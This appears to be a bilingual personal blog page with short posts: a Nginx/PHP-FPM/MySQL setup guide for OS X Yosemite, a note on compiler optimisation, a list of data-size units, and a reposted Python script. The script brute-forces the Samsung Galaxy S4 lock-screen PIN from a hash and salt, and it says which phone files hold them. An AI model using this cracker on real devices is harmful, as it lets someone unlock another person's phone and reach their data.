Install Nginx, PHP-FPM, MySQL and phpMyAdmin on OS X Yosemite

Recently my APM(Apache+PHP+MariaDB) installation from macPorts broken down. So is the perfect time to get rid of the web server stack and replace it with Nginx and PHP-FPP as FastCGI implementation. Below you can read how to setup Nginx, PHP-FPM, MySQL and PhpMyAdmin on OS X 10.10 (Yosemite).

Xcode

First of all, get the last Xcode version via Mac App Store (or at this time, from Developer Member Page). As soon as you have finished the download, open Xcode and agree to the license and click install on the first window how will open.
Continuar a ler

If the programmer is stupid…

If the programmer is stupid, modern compilers like CLang and GCC can ignore and/or interpret stupid code who you can make and the assembly output will be clean.

In the line below are written a main function with some stupid code.

int main(int argc, char** argv)
{
    int sum = 0;

    for (int i = 0; i < 10; i++)
    {
        sum += i;
    }

    return sum;
}

And the output should be something like this. (this code not contain directives, unused labels and comments that are not comments line)

main: # @main
    movl $45, %eax
    ret

The compiler knows the result will be 45, and the only thing who will appears on assembly is the return with the number 45.

Sabia que?

Entre o byte e o Kilobyte existe mais 4 tamanhos de dados?

  • Word : 2-byte
  • Doubleword: 4-byte (32 bit)
  • Quadword: 8-byte (64 bit)
  • Paragraph: 16-byte (128 bit)

Próxima pergunta. E para que é isto tudo serve, para que a necessidade disto?
A resposta está a baixo nível, são unidades extremamente úteis já que se trabalha com tamanhos de dados tão pequenos.

Samsung Hash Crack

This is interesting… This code is a Python implementation of passcode hashing algorithm used on the Samsung Galaxy S4 GT-I9505 4.2.2.

This implementation takes 20 seconds to try PINs 0000-9999 on 2.6 GHz i7 :)

#!/usr/bin/python

'''
Python implementation of passcode hashing algorithm used on the Samsung Galaxy S4 GT-I9505 4.2.2
Correct PIN for hash and salt below is 1234.

Get 40-character hash value in ascii hex format from file /data/system/password.key on the phone

Get salt in signed numeric format by doing sqlite3 query SELECT value FROM locksettings WHERE name = 'lockscreen.password_salt' on /data/system/locksettings.db

by @hubert3 2014-01-23
'''

import sys
from hashlib import sha1
from binascii import unhexlify

def get_salt(salt):
        int_salt = int(salt)
        int_salt = (int_salt & 0xffffffffffffffff)
        salt = hex(int(int_salt)).lstrip("0x")
        salt = salt.rstrip('L')
        return salt

samsung_hash = unhexlify('867B4B7F6C7E5CCC50A1BD183D8C3E5801F20344'.lower())
salt = get_salt(-3343618892075477414)

for pin in map('{:04}'.format,range(0,10000)):
	print 'Hashing PIN %s' % pin
 	digest = sha1('0'+pin+salt).digest() # binary digest, not ascii hex
	for i in map(str,range(1,1024)): # Samsung uses 1024 SHA-1 iterations
		digest = sha1(digest+i+pin+salt).digest()
	if digest == samsung_hash:
		print 'FOUND PIN %s' % pin
		sys.exit(0)
print 'PIN not found'